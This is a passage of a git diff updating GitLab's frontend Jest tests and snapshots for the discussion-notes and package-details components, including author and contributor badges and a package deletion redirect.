import resolveDiscussionButton from '~/notes/components/discussion_resolve_button.vue';
const buttonTitle = 'Resolve discussion';
@@ -26,9 +27,9 @@ describe('resolveDiscussionButton', () => {
});
it('should emit a onClick event on button click', () => {
- const button = wrapper.find({ ref: 'button' });
+ const button = wrapper.find(GlButton);
- button.trigger('click');
+ button.vm.$emit('click');
return wrapper.vm.$nextTick().then(() => {
expect(wrapper.emitted()).toEqual({
@@ -38,7 +39,7 @@ describe('resolveDiscussionButton', () => {
});
it('should contain the provided button title', () => {
- const button = wrapper.find({ ref: 'button' });
+ const button = wrapper.find(GlButton);
expect(button.text()).toContain(buttonTitle);
});
@@ -51,9 +52,9 @@ describe('resolveDiscussionButton', () => {
},
});
- const button = wrapper.find({ ref: 'isResolvingIcon' });
+ const button = wrapper.find(GlButton);
- expect(button.exists()).toEqual(true);
+ expect(button.props('loading')).toEqual(true);
});
it('should only show a loading spinner while resolving', () => {
@@ -64,10 +65,10 @@ describe('resolveDiscussionButton', () => {
},
});
- const button = wrapper.find({ ref: 'isResolvingIcon' });
+ const button = wrapper.find(GlButton);
wrapper.vm.$nextTick(() => {
- expect(button.exists()).toEqual(false);
+ expect(button.props('loading')).toEqual(false);
});
});
});
diff --git a/spec/frontend/notes/components/note_actions_spec.js b/spec/frontend/notes/components/note_actions_spec.js
index 97d1752726b..a79c3bbacb7 100644
--- a/spec/frontend/notes/components/note_actions_spec.js
+++ b/spec/frontend/notes/components/note_actions_spec.js
@@ -35,8 +35,12 @@ describe('noteActions', () => {
canEdit: true,
canAwardEmoji: true,
canReportAsAbuse: true,
+ isAuthor: true,
+ isContributor: false,
+ noteableType: 'MergeRequest',
noteId: '539',
noteUrl: `${TEST_HOST}/group/project/-/merge_requests/1#note_1`,
+ projectName: 'project',
reportAbusePath: `${TEST_HOST}/abuse_reports/new?ref_url=http%3A%2F%2Flocalhost%3A3000%2Fgitlab-org%2Fgitlab-ce%2Fissues%2F7%23note_539&user_id=26`,
showReply: false,
};
@@ -60,15 +64,43 @@ describe('noteActions', () => {
wrapper = shallowMountNoteActions(props);
});
+ it('should render noteable author badge', () => {
+ expect(
+ wrapper
+ .findAll('.note-role')
+ .at(0)
+ .text()
+ .trim(),
+ ).toEqual('Author');
+ });
+
it('should render access level badge', () => {
expect(
wrapper
- .find('.note-role')
+ .findAll('.note-role')
+ .at(1)
.text()
.trim(),
).toEqual(props.accessLevel);
});
+ it('should render contributor badge', () => {
+ wrapper.setProps({
+ accessLevel: null,
+ isContributor: true,
+ });
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(
+ wrapper
+ .findAll('.note-role')
+ .at(1)
+ .text()
+ .trim(),
+ ).toBe('Contributor');
+ });
+ });
+
it('should render emoji link', () => {
expect(wrapper.find('.js-add-award').exists()).toBe(true);
expect(wrapper.find('.js-add-award').attributes('data-position')).toBe('right');
diff --git a/spec/frontend/notes/components/notes_app_spec.js b/spec/frontend/notes/components/notes_app_spec.js
index fbfba2efb1d..c6034639a4a 100644
--- a/spec/frontend/notes/components/notes_app_spec.js
+++ b/spec/frontend/notes/components/notes_app_spec.js
@@ -330,6 +330,8 @@ describe('note_app', () => {
wrapper.vm.$parent.$el.dispatchEvent(toggleAwardEvent);
+ jest.advanceTimersByTime(2);
+
expect(toggleAwardAction).toHaveBeenCalledTimes(1);
const [, payload] = toggleAwardAction.mock.calls[0];
diff --git a/spec/frontend/notes/helpers.js b/spec/frontend/notes/helpers.js
index 3f349b40ba5..c8168a49a5b 100644
--- a/spec/frontend/notes/helpers.js
+++ b/spec/frontend/notes/helpers.js
@@ -1,4 +1,3 @@
-// eslint-disable-next-line import/prefer-default-export
export const resetStore = store => {
store.replaceState({
notes: [],
diff --git a/spec/frontend/notes/mixins/discussion_navigation_spec.js b/spec/frontend/notes/mixins/discussion_navigation_spec.js
index 11c0bbfefc9..d203435e7bf 100644
--- a/spec/frontend/notes/mixins/discussion_navigation_spec.js
+++ b/spec/frontend/notes/mixins/discussion_navigation_spec.js
@@ -194,13 +194,9 @@ describe('Discussion navigation mixin', () => {
});
it('expands discussion', () => {
- expect(expandDiscussion).toHaveBeenCalledWith(
- expect.anything(),
- {
- discussionId: expected,
- },
- undefined,
- );
+ expect(expandDiscussion).toHaveBeenCalledWith(expect.anything(), {
+ discussionId: expected,
+ });
});
it('scrolls to discussion', () => {
diff --git a/spec/frontend/notes/stores/actions_spec.js b/spec/frontend/notes/stores/actions_spec.js
index 6b8d0790669..4681f3aa429 100644
--- a/spec/frontend/notes/stores/actions_spec.js
+++ b/spec/frontend/notes/stores/actions_spec.js
@@ -3,6 +3,7 @@ import AxiosMockAdapter from 'axios-mock-adapter';
import Api from '~/api';
import { deprecatedCreateFlash as Flash } from '~/flash';
import * as actions from '~/notes/stores/actions';
+import mutations from '~/notes/stores/mutations';
import * as mutationTypes from '~/notes/stores/mutation_types';
import * as notesConstants from '~/notes/constants';
import createStore from '~/notes/stores';
@@ -334,6 +335,9 @@ describe('Actions Notes Store', () => {
it('calls service with last fetched state', done => {
store
.dispatch('poll')
+ .then(() => {
+ jest.advanceTimersByTime(2);
+ })
.then(() => new Promise(resolve => requestAnimationFrame(resolve)))
.then(() => {
expect(store.state.lastFetchedAt).toBe('123456');
@@ -651,6 +655,26 @@ describe('Actions Notes Store', () => {
});
describe('updateOrCreateNotes', () => {
+ it('Prevents `fetchDiscussions` being called multiple times within time limit', () => {
+ jest.useFakeTimers();
+ const note = { id: 1234, type: notesConstants.DIFF_NOTE };
+ const getters = { notesById: {} };
+ state = { discussions: [note], notesData: { discussionsPath: '' } };
+ commit.mockImplementation((type, value) => {
+ if (type === mutationTypes.SET_FETCHING_DISCUSSIONS) {
+ mutations[type](state, value);
+ }
+ });
+
+ actions.updateOrCreateNotes({ commit, state, getters, dispatch }, [note]);
+ actions.updateOrCreateNotes({ commit, state, getters, dispatch }, [note]);
+
+ jest.runAllTimers();
+ actions.updateOrCreateNotes({ commit, state, getters, dispatch }, [note]);
+
+ expect(dispatch).toHaveBeenCalledTimes(2);
+ });
+
it('Updates existing note', () => {
const note = { id: 1234 };
const getters = { notesById: { 1234: note } };
diff --git a/spec/frontend/packages/details/components/__snapshots__/code_instruction_spec.js.snap b/spec/frontend/packages/details/components/__snapshots__/code_instruction_spec.js.snap
deleted file mode 100644
index 172b8919673..00000000000
--- a/spec/frontend/packages/details/components/__snapshots__/code_instruction_spec.js.snap
+++ /dev/null
@@ -1,46 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Package code instruction multiline to match the snapshot 1`] = `
-<div>
- <pre
- class="js-instruction-pre"
- >
- this is some
-multiline text
- </pre>
-</div>
-`;
-
-exports[`Package code instruction single line to match the default snapshot 1`] = `
-<div
- class="input-group gl-mb-3"
->
- <input
- class="form-control monospace js-instruction-input"
- readonly="readonly"
- type="text"
- />
-
- <span
- class="input-group-append js-instruction-button"
- >
- <button
- class="btn input-group-text btn-secondary btn-md btn-default"
- data-clipboard-text="npm i @my-package"
- title="Copy npm install command"
- type="button"
- >
- <!---->
-
- <svg
- class="gl-icon s16"
- data-testid="copy-to-clipboard-icon"
- >
- <use
- href="#copy-to-clipboard"
- />
- </svg>
- </button>
- </span>
-</div>
-`;
diff --git a/spec/frontend/packages/details/components/__snapshots__/conan_installation_spec.js.snap b/spec/frontend/packages/details/components/__snapshots__/conan_installation_spec.js.snap
index 852292e084b..a1d08f032bc 100644
--- a/spec/frontend/packages/details/components/__snapshots__/conan_installation_spec.js.snap
+++ b/spec/frontend/packages/details/components/__snapshots__/conan_installation_spec.js.snap
@@ -8,18 +8,12 @@ exports[`ConanInstallation renders all the messages 1`] = `
Installation
</h3>
- <h4
- class="gl-font-base"
- >
-
- Conan Command
-
- </h4>
-
<code-instruction-stub
copytext="Copy Conan Command"
instruction="foo/command"
+ label="Conan Command"
trackingaction="copy_conan_command"
+ trackinglabel="code_instruction"
/>
<h3
@@ -28,18 +22,12 @@ exports[`ConanInstallation renders all the messages 1`] = `
Registry setup
</h3>
- <h4
- class="gl-font-base"
- >
-
- Add Conan Remote
-
- </h4>
-
<code-instruction-stub
copytext="Copy Conan Setup Command"
instruction="foo/setup"
+ label="Add Conan Remote"
trackingaction="copy_conan_setup_command"
+ trackinglabel="code_instruction"
/>
<gl-sprintf-stub
diff --git a/spec/frontend/packages/details/components/__snapshots__/dependency_row_spec.js.snap b/spec/frontend/packages/details/components/__snapshots__/dependency_row_spec.js.snap
index 28b7ca442eb..39469bf4fd0 100644
--- a/spec/frontend/packages/details/components/__snapshots__/dependency_row_spec.js.snap
+++ b/spec/frontend/packages/details/components/__snapshots__/dependency_row_spec.js.snap
@@ -21,7 +21,7 @@ exports[`DependencyRow renders full dependency 1`] = `
</div>
<div
- class="table-section section-50 gl-display-flex justify-content-md-end"
+ class="table-section section-50 gl-display-flex gl-md-justify-content-end"
data-testid="version-pattern"
>
<span
diff --git a/spec/frontend/packages/details/components/__snapshots__/history_element_spec.js.snap b/spec/frontend/packages/details/components/__snapshots__/history_element_spec.js.snap
deleted file mode 100644
index a1751d69c70..00000000000
--- a/spec/frontend/packages/details/components/__snapshots__/history_element_spec.js.snap
+++ /dev/null
@@ -1,38 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`History Element renders the correct markup 1`] = `
-<li
- class="timeline-entry system-note note-wrapper gl-mb-6!"
->
- <div
- class="timeline-entry-inner"
- >
- <div
- class="timeline-icon"
- >
- <gl-icon-stub
- name="pencil"
- size="16"
- />
- </div>
-
- <div
- class="timeline-content"
- >
- <div
- class="note-header"
- >
- <span>
- <div
- data-testid="default-slot"
- />
- </span>
- </div>
-
- <div
- class="note-body"
- />
- </div>
- </div>
-</li>
-`;
diff --git a/spec/frontend/packages/details/components/__snapshots__/maven_installation_spec.js.snap b/spec/frontend/packages/details/components/__snapshots__/maven_installation_spec.js.snap
index 10e54500797..6d22b372d41 100644
--- a/spec/frontend/packages/details/components/__snapshots__/maven_installation_spec.js.snap
+++ b/spec/frontend/packages/details/components/__snapshots__/maven_installation_spec.js.snap
@@ -8,14 +8,6 @@ exports[`MavenInstallation renders all the messages 1`] = `
Installation
</h3>
- <h4
- class="gl-font-base"
- >
-
- Maven XML
-
- </h4>
-
<p>
<gl-sprintf-stub
message="Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
@@ -25,22 +17,18 @@ exports[`MavenInstallation renders all the messages 1`] = `
<code-instruction-stub
copytext="Copy Maven XML"
instruction="foo/xml"
+ label="Maven XML"
multiline="true"
trackingaction="copy_maven_xml"
+ trackinglabel="code_instruction"
/>
- <h4
- class="gl-font-base"
- >
-
- Maven Command
-
- </h4>
-
<code-instruction-stub
copytext="Copy Maven command"
instruction="foo/command"
+ label="Maven Command"
trackingaction="copy_maven_command"
+ trackinglabel="code_instruction"
/>
<h3
@@ -58,8 +46,10 @@ exports[`MavenInstallation renders all the messages 1`] = `
<code-instruction-stub
copytext="Copy Maven registry XML"
instruction="foo/setup"
+ label=""
multiline="true"
trackingaction="copy_maven_setup_xml"
+ trackinglabel="code_instruction"
/>
<gl-sprintf-stub
diff --git a/spec/frontend/packages/details/components/__snapshots__/npm_installation_spec.js.snap b/spec/frontend/packages/details/components/__snapshots__/npm_installation_spec.js.snap
index 58a509e6847..b616751f75f 100644
--- a/spec/frontend/packages/details/components/__snapshots__/npm_installation_spec.js.snap
+++ b/spec/frontend/packages/details/components/__snapshots__/npm_installation_spec.js.snap
@@ -8,28 +8,20 @@ exports[`NpmInstallation renders all the messages 1`] = `
Installation
</h3>
- <h4
- class="gl-font-base"
- >
- npm command
- </h4>
-
<code-instruction-stub
copytext="Copy npm command"
instruction="npm i @Test/package"
+ label="npm command"
trackingaction="copy_npm_install_command"
+ trackinglabel="code_instruction"
/>
- <h4
- class="gl-font-base"
- >
- yarn command
- </h4>
-
<code-instruction-stub
copytext="Copy yarn command"
instruction="yarn add @Test/package"
+ label="yarn command"
trackingaction="copy_yarn_install_command"
+ trackinglabel="code_instruction"
/>
<h3
@@ -38,28 +30,20 @@ exports[`NpmInstallation renders all the messages 1`] = `
Registry setup
</h3>
- <h4
- class="gl-font-base"
- >
- npm command
- </h4>
-
<code-instruction-stub
copytext="Copy npm setup command"
- instruction="echo @Test:registry=undefined >> .npmrc"
+ instruction="echo @Test:registry=undefined/ >> .npmrc"
+ label="npm command"
trackingaction="copy_npm_setup_command"
+ trackinglabel="code_instruction"
/>
- <h4
- class="gl-font-base"
- >
- yarn command
- </h4>
-
<code-instruction-stub
copytext="Copy yarn setup command"
- instruction="echo \\\\\\"@Test:registry\\\\\\" \\\\\\"undefined\\\\\\" >> .yarnrc"
+ instruction="echo \\\\\\"@Test:registry\\\\\\" \\\\\\"undefined/\\\\\\" >> .yarnrc"
+ label="yarn command"
trackingaction="copy_yarn_setup_command"
+ trackinglabel="code_instruction"
/>
<gl-sprintf-stub
diff --git a/spec/frontend/packages/details/components/__snapshots__/nuget_installation_spec.js.snap b/spec/frontend/packages/details/components/__snapshots__/nuget_installation_spec.js.snap
index 67810290c62..84cf5e4db49 100644
--- a/spec/frontend/packages/details/components/__snapshots__/nuget_installation_spec.js.snap
+++ b/spec/frontend/packages/details/components/__snapshots__/nuget_installation_spec.js.snap
@@ -8,18 +8,12 @@ exports[`NugetInstallation renders all the messages 1`] = `
Installation
</h3>
- <h4
- class="gl-font-base"
- >
-
- NuGet Command
-
- </h4>
-
<code-instruction-stub
copytext="Copy NuGet Command"
instruction="foo/command"
+ label="NuGet Command"
trackingaction="copy_nuget_install_command"
+ trackinglabel="code_instruction"
/>
<h3
@@ -28,18 +22,12 @@ exports[`NugetInstallation renders all the messages 1`] = `
Registry setup
</h3>
- <h4
- class="gl-font-base"
- >
-
- Add NuGet Source
-
- </h4>
-
<code-instruction-stub
copytext="Copy NuGet Setup Command"
instruction="foo/setup"
+ label="Add NuGet Source"
trackingaction="copy_nuget_setup_command"
+ trackinglabel="code_instruction"
/>
<gl-sprintf-stub
diff --git a/spec/frontend/packages/details/components/__snapshots__/package_title_spec.js.snap b/spec/frontend/packages/details/components/__snapshots__/package_title_spec.js.snap
index bdcd4a9e077..4d9e0af1545 100644
--- a/spec/frontend/packages/details/components/__snapshots__/package_title_spec.js.snap
+++ b/spec/frontend/packages/details/components/__snapshots__/package_title_spec.js.snap
@@ -2,171 +2,151 @@
exports[`PackageTitle renders with tags 1`] = `
<div
- class="gl-flex-direction-column"
+ class="gl-display-flex gl-justify-content-space-between gl-py-3"
+ data-qa-selector="package_title"
>
<div
- class="gl-display-flex"
+ class="gl-flex-direction-column"
>
- <!---->
-
<div
- class="gl-display-flex gl-flex-direction-column"
+ class="gl-display-flex"
>
- <h1
- class="gl-font-size-h1 gl-mt-3 gl-mb-2"
- >
-
- Test package
-
- </h1>
+ <!---->
<div
- class="gl-display-flex gl-align-items-center gl-text-gray-500"
+ class="gl-display-flex gl-flex-direction-column"
>
- <gl-icon-stub
- class="gl-mr-3"
- name="eye"
- size="16"
- />
+ <h1
+ class="gl-font-size-h1 gl-mt-3 gl-mb-2"
+ data-testid="title"
+ >
+ Test package
+ </h1>
- <gl-sprintf-stub
- message="v%{version} published %{timeAgo}"
- />
+ <div
+ class="gl-display-flex gl-align-items-center gl-text-gray-500 gl-mt-1"
+ >
+ <gl-icon-stub
+ class="gl-mr-3"
+ name="eye"
+ size="16"
+ />
+
+ <gl-sprintf-stub
+ message="v%{version} published %{timeAgo}"
+ />
+ </div>
</div>
</div>
- </div>
-
- <div
- class="gl-display-flex gl-flex-wrap gl-align-items-center gl-mb-3"
- >
- <div
- class="gl-display-flex gl-align-items-center gl-mr-5"
- >
- <gl-icon-stub
- class="gl-text-gray-500 gl-mr-3"
- name="package"
- size="16"
- />
-
- <span
- class="gl-font-weight-bold"
- data-testid="package-type"
- >
- maven
- </span>
- </div>
<div
- class="gl-display-flex gl-align-items-center gl-mr-5"
+ class="gl-display-flex gl-flex-wrap gl-align-items-center gl-mt-3"
>
- <package-tags-stub
- tagdisplaylimit="1"
- tags="[object Object],[object Object],[object Object],[object Object]"
- />
- </div>
-
- <!---->
-
- <!---->
-
- <div
- class="gl-display-flex gl-align-items-center gl-mr-5"
- >
- <gl-icon-stub
- class="gl-text-gray-500 gl-mr-3"
- name="disk"
- size="16"
- />
-
- <span
- class="gl-font-weight-bold"
- data-testid="package-size"
+ <div
+ class="gl-display-flex gl-align-items-center gl-mr-5"
+ >
+ <metadata-item-stub
+ data-testid="package-type"
+ icon="package"
+ link=""
+ size="s"
+ text="maven"
+ />
+ </div>
+ <div
+ class="gl-display-flex gl-align-items-center gl-mr-5"
+ >
+ <metadata-item-stub
+ data-testid="package-size"
+ icon="disk"
+ link=""
+ size="s"
+ text="300 bytes"
+ />
+ </div>
+ <div
+ class="gl-display-flex gl-align-items-center gl-mr-5"
>
- 300 bytes
- </span>
+ <package-tags-stub
+ hidelabel="true"
+ tagdisplaylimit="2"
+ tags="[object Object],[object Object],[object Object],[object Object]"
+ />
+ </div>
</div>
</div>
+
+ <!---->
</div>
`;
exports[`PackageTitle renders without tags 1`] = `
<div
- class="gl-flex-direction-column"
+ class="gl-display-flex gl-justify-content-space-between gl-py-3"
+ data-qa-selector="package_title"
>
<div
- class="gl-display-flex"
+ class="gl-flex-direction-column"
>
- <!---->
-
<div
- class="gl-display-flex gl-flex-direction-column"
+ class="gl-display-flex"
>
- <h1
- class="gl-font-size-h1 gl-mt-3 gl-mb-2"
- >
-
- Test package
-
- </h1>
+ <!---->
<div
- class="gl-display-flex gl-align-items-center gl-text-gray-500"
+ class="gl-display-flex gl-flex-direction-column"
>
- <gl-icon-stub
- class="gl-mr-3"
- name="eye"
- size="16"
- />
+ <h1
+ class="gl-font-size-h1 gl-mt-3 gl-mb-2"
+ data-testid="title"
+ >
+ Test package
+ </h1>
- <gl-sprintf-stub
- message="v%{version} published %{timeAgo}"
- />
+ <div
+ class="gl-display-flex gl-align-items-center gl-text-gray-500 gl-mt-1"
+ >
+ <gl-icon-stub
+ class="gl-mr-3"
+ name="eye"
+ size="16"
+ />
+
+ <gl-sprintf-stub
+ message="v%{version} published %{timeAgo}"
+ />
+ </div>
</div>
</div>
- </div>
-
- <div
- class="gl-display-flex gl-flex-wrap gl-align-items-center gl-mb-3"
- >
- <div
- class="gl-display-flex gl-align-items-center gl-mr-5"
- >
- <gl-icon-stub
- class="gl-text-gray-500 gl-mr-3"
- name="package"
- size="16"
- />
-
- <span
- class="gl-font-weight-bold"
- data-testid="package-type"
- >
- maven
- </span>
- </div>
-
- <!---->
-
- <!---->
-
- <!---->
<div
- class="gl-display-flex gl-align-items-center gl-mr-5"
+ class="gl-display-flex gl-flex-wrap gl-align-items-center gl-mt-3"
>
- <gl-icon-stub
- class="gl-text-gray-500 gl-mr-3"
- name="disk"
- size="16"
- />
-
- <span
- class="gl-font-weight-bold"
- data-testid="package-size"
+ <div
+ class="gl-display-flex gl-align-items-center gl-mr-5"
>
- 300 bytes
- </span>
+ <metadata-item-stub
+ data-testid="package-type"
+ icon="package"
+ link=""
+ size="s"
+ text="maven"
+ />
+ </div>
+ <div
+ class="gl-display-flex gl-align-items-center gl-mr-5"
+ >
+ <metadata-item-stub
+ data-testid="package-size"
+ icon="disk"
+ link=""
+ size="s"
+ text="300 bytes"
+ />
+ </div>
</div>
</div>
+
+ <!---->
</div>
`;
diff --git a/spec/frontend/packages/details/components/__snapshots__/pypi_installation_spec.js.snap b/spec/frontend/packages/details/components/__snapshots__/pypi_installation_spec.js.snap
index 5c1e74d73af..2a588f99c1d 100644
--- a/spec/frontend/packages/details/components/__snapshots__/pypi_installation_spec.js.snap
+++ b/spec/frontend/packages/details/components/__snapshots__/pypi_installation_spec.js.snap
@@ -8,19 +8,13 @@ exports[`PypiInstallation renders all the messages 1`] = `
Installation
</h3>
- <h4
- class="gl-font-base"
- >
-
- Pip Command
-
- </h4>
-
<code-instruction-stub
copytext="Copy Pip command"
data-testid="pip-command"
instruction="pip install"
+ label="Pip Command"
trackingaction="copy_pip_install_command"
+ trackinglabel="code_instruction"
/>
<h3
@@ -39,8 +33,10 @@ exports[`PypiInstallation renders all the messages 1`] = `
copytext="Copy .pypirc content"
data-testid="pypi-setup-content"
instruction="python setup"
+ label=""
multiline="true"
trackingaction="copy_pypi_setup_command"
+ trackinglabel="code_instruction"
/>
<gl-sprintf-stub
diff --git a/spec/frontend/packages/details/components/additional_metadata_spec.js b/spec/frontend/packages/details/components/additional_metadata_spec.js
index b2337b86740..111e4205abb 100644
--- a/spec/frontend/packages/details/components/additional_metadata_spec.js
+++ b/spec/frontend/packages/details/components/additional_metadata_spec.js
@@ -1,6 +1,6 @@
import { shallowMount } from '@vue/test-utils';
import { GlLink, GlSprintf } from '@gitlab/ui';
-import DetailsRow from '~/registry/shared/components/details_row.vue';
+import DetailsRow from '~/vue_shared/components/registry/details_row.vue';
import component from '~/packages/details/components/additional_metadata.vue';
import { mavenPackage, conanPackage, nugetPackage, npmPackage } from '../../mock_data';
diff --git a/spec/frontend/packages/details/components/app_spec.js b/spec/frontend/packages/details/components/app_spec.js
index f535f3f5744..e82c74e56e5 100644
--- a/spec/frontend/packages/details/components/app_spec.js
+++ b/spec/frontend/packages/details/components/app_spec.js
@@ -34,12 +34,15 @@ describe('PackagesApp', () => {
let wrapper;
let store;
const fetchPackageVersions = jest.fn();
+ const deletePackage = jest.fn();
+ const defaultProjectName = 'bar';
+ const { location } = window;
function createComponent({
packageEntity = mavenPackage,
packageFiles = mavenFiles,
isLoading = false,
- oneColumnView = false,
+ projectName = defaultProjectName,
} = {}) {
store = new Vuex.Store({
state: {
@@ -47,14 +50,15 @@ describe('PackagesApp', () => {
packageEntity,
packageFiles,
canDelete: true,
- destroyPath: 'destroy-package-path',
emptySvgPath: 'empty-illustration',
npmPath: 'foo',
npmHelpPath: 'foo',
- projectName: 'bar',
- oneColumnView,
+ projectName,
+ projectListUrl: 'project_url',
+ groupListUrl: 'group_url',
},
actions: {
+ deletePackage,
fetchPackageVersions,
},
getters,
@@ -65,6 +69,8 @@ describe('PackagesApp', () => {
store,
stubs: {
...stubChildren(PackagesApp),
+ PackageTitle: false,
+ TitleArea: false,
GlButton: false,
GlModal: false,
GlTab: false,
@@ -93,8 +99,14 @@ describe('PackagesApp', () => {
const findAdditionalMetadata = () => wrapper.find(AdditionalMetadata);
const findInstallationCommands = () => wrapper.find(InstallationCommands);
+ beforeEach(() => {
+ delete window.location;
+ window.location = { replace: jest.fn() };
+ });
+
afterEach(() => {
wrapper.destroy();
+ window.location = location;
});
it('renders the app and displays the package title', () => {
@@ -238,44 +250,94 @@ describe('PackagesApp', () => {
});
});
- describe('tracking', () => {
- let eventSpy;
- let utilSpy;
- const category = 'foo';
+ describe('tracking and delete', () => {
+ const doDelete = async () => {
+ deleteButton().trigger('click');
+ await wrapper.vm.$nextTick();
+ modalDeleteButton().trigger('click');
+ };
+
+ describe('delete', () => {
+ const originalReferrer = document.referrer;
+ const setReferrer = (value = defaultProjectName) => {
+ Object.defineProperty(document, 'referrer', {
+ value,
+ configurable: true,
+ });
+ };
+
+ afterEach(() => {
+ Object.defineProperty(document, 'referrer', {
+ value: originalReferrer,
+ configurable: true,
+ });
+ });
- beforeEach(() => {
- eventSpy = jest.spyOn(Tracking, 'event');
- utilSpy = jest.spyOn(SharedUtils, 'packageTypeToTrackCategory').mockReturnValue(category);
- });
+ it('calls the proper vuex action', async () => {
+ createComponent({ packageEntity: npmPackage });
+ await doDelete();
+ expect(deletePackage).toHaveBeenCalled();
+ });
- it('tracking category calls packageTypeToTrackCategory', () => {
- createComponent({ packageEntity: conanPackage });
- expect(wrapper.vm.tracking.category).toBe(category);
- expect(utilSpy).toHaveBeenCalledWith('conan');
+ it('when referrer contains project name calls window.replace with project url', async () => {
+ setReferrer();
+ deletePackage.mockResolvedValue();
+ createComponent({ packageEntity: npmPackage });
+ await doDelete();
+ await deletePackage();
+ expect(window.location.replace).toHaveBeenCalledWith(
+ 'project_url?showSuccessDeleteAlert=true',
+ );
+ });
+
+ it('when referrer does not contain project name calls window.replace with group url', async () => {
+ setReferrer('baz');
+ deletePackage.mockResolvedValue();
+ createComponent({ packageEntity: npmPackage });
+ await doDelete();
+ await deletePackage();
+ expect(window.location.replace).toHaveBeenCalledWith(
+ 'group_url?showSuccessDeleteAlert=true',
+ );
+ });
});
- it(`delete button on delete modal call event with ${TrackingActions.DELETE_PACKAGE}`, () => {
- createComponent({ packageEntity: conanPackage });
- deleteButton().trigger('click');
- return wrapper.vm.$nextTick().then(() => {
- modalDeleteButton().trigger('click');
+ describe('tracking', () => {
+ let eventSpy;
+ let utilSpy;
+ const category = 'foo';
+
+ beforeEach(() => {
+ eventSpy = jest.spyOn(Tracking, 'event');
+ utilSpy = jest.spyOn(SharedUtils, 'packageTypeToTrackCategory').mockReturnValue(category);
+ });
+
+ it('tracking category calls packageTypeToTrackCategory', () => {
+ createComponent({ packageEntity: conanPackage });
+ expect(wrapper.vm.tracking.category).toBe(category);
+ expect(utilSpy).toHaveBeenCalledWith('conan');
+ });
+
+ it(`delete button on delete modal call event with ${TrackingActions.DELETE_PACKAGE}`, async () => {
+ createComponent({ packageEntity: npmPackage });
+ await doDelete();
expect(eventSpy).toHaveBeenCalledWith(
category,
TrackingActions.DELETE_PACKAGE,
expect.any(Object),
);
});
- });
- it(`file download link call event with ${TrackingActions.PULL_PACKAGE}`, () => {
- createComponent({ packageEntity: conanPackage });
+ it(`file download link call event with ${TrackingActions.PULL_PACKAGE}`, () => {
+ createComponent({ packageEntity: conanPackage });
- firstFileDownloadLink().vm.$emit('click');
- expect(eventSpy).toHaveBeenCalledWith(
- category,
- TrackingActions.PULL_PACKAGE,
- expect.any(Object),
- );
+ firstFileDownloadLink().vm.$emit('click');
+ expect(eventSpy).toHaveBeenCalledWith(
+ category,
+ TrackingActions.PULL_PACKAGE,
+ expect.any(Object),
+ );
+ });
});
});
});
diff --git a/spec/frontend/packages/details/components/code_instruction_spec.js b/spec/frontend/packages/details/components/code_instruction_spec.js
deleted file mode 100644
index 724eddb9070..00000000000
--- a/spec/frontend/packages/details/components/code_instruction_spec.js
+++ /dev/null
@@ -1,110 +0,0 @@
-import { mount } from '@vue/test-utils';
-import CodeInstruction from '~/packages/details/components/code_instruction.vue';
-import { TrackingLabels } from '~/packages/details/constants';
-import Tracking from '~/tracking';
-
-describe('Package code instruction', () => {
- let wrapper;
-
- const defaultProps = {
- instruction: 'npm i @my-package',
- copyText: 'Copy npm install command',
- };
-
- function createComponent(props = {}) {
- wrapper = mount(CodeInstruction, {
- propsData: {
- ...defaultProps,
- ...props,
- },
- });
- }
-
- const findInstructionInput = () => wrapper.find('.js-instruction-input');
- const findInstructionPre = () => wrapper.find('.js-instruction-pre');
- const findInstructionButton = () => wrapper.find('.js-instruction-button');
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('single line', () => {
- beforeEach(() => createComponent());
-
- it('to match the default snapshot', () => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- describe('multiline', () => {
- beforeEach(() =>
- createComponent({
- instruction: 'this is some\nmultiline text',
- copyText: 'Copy the command',
- multiline: true,
- }),
- );
-
- it('to match the snapshot', () => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- describe('tracking', () => {
- let eventSpy;
- const trackingAction = 'test_action';
- const label = TrackingLabels.CODE_INSTRUCTION;
-
- beforeEach(() => {
- eventSpy = jest.spyOn(Tracking, 'event');
- });
-
- it('should not track when no trackingAction is provided', () => {
- createComponent();
- findInstructionButton().trigger('click');
-
- expect(eventSpy).toHaveBeenCalledTimes(0);
- });
-
- describe('when trackingAction is provided for single line', () => {
- beforeEach(() =>
- createComponent({
- trackingAction,
- }),
- );
-
- it('should track when copying from the input', () => {
- findInstructionInput().trigger('copy');
-
- expect(eventSpy).toHaveBeenCalledWith(undefined, trackingAction, {
- label,
- });
- });
-
- it('should track when the copy button is pressed', () => {
- findInstructionButton().trigger('click');
-
- expect(eventSpy).toHaveBeenCalledWith(undefined, trackingAction, {
- label,
- });
- });
- });
-
- describe('when trackingAction is provided for multiline', () => {
- beforeEach(() =>
- createComponent({
- trackingAction,
- multiline: true,
- }),
- );
-
- it('should track when copying from the multiline pre element', () => {
- findInstructionPre().trigger('copy');
-
- expect(eventSpy).toHaveBeenCalledWith(undefined, trackingAction, {
- label,
- });
- });
- });
- });
-});
diff --git a/spec/frontend/packages/details/components/composer_installation_spec.js b/spec/frontend/packages/details/components/composer_installation_spec.js
index 7679d721391..c13981fbb87 100644
--- a/spec/frontend/packages/details/components/composer_installation_spec.js
+++ b/spec/frontend/packages/details/components/composer_installation_spec.js
@@ -4,7 +4,7 @@ import { GlSprintf, GlLink } from '@gitlab/ui';
import { registryUrl as composerHelpPath } from 'jest/packages/details/mock_data';
import { composerPackage as packageEntity } from 'jest/packages/mock_data';
import ComposerInstallation from '~/packages/details/components/composer_installation.vue';
-import CodeInstructions from '~/packages/details/components/code_instruction.vue';
+
import { TrackingActions } from '~/packages/details/constants';
const localVue = createLocalVue();
@@ -27,9 +27,8 @@ describe('ComposerInstallation', () => {
},
});
- const findCodeInstructions = () => wrapper.findAll(CodeInstructions);
- const findRegistryIncludeTitle = () => wrapper.find('[data-testid="registry-include-title"]');
- const findPackageIncludeTitle = () => wrapper.find('[data-testid="package-include-title"]');
+ const findRegistryInclude = () => wrapper.find('[data-testid="registry-include"]');
+ const findPackageInclude = () => wrapper.find('[data-testid="package-include"]');
const findHelpText = () => wrapper.find('[data-testid="help-text"]');
const findHelpLink = () => wrapper.find(GlLink);
@@ -53,7 +52,7 @@ describe('ComposerInstallation', () => {
describe('registry include command', () => {
it('uses code_instructions', () => {
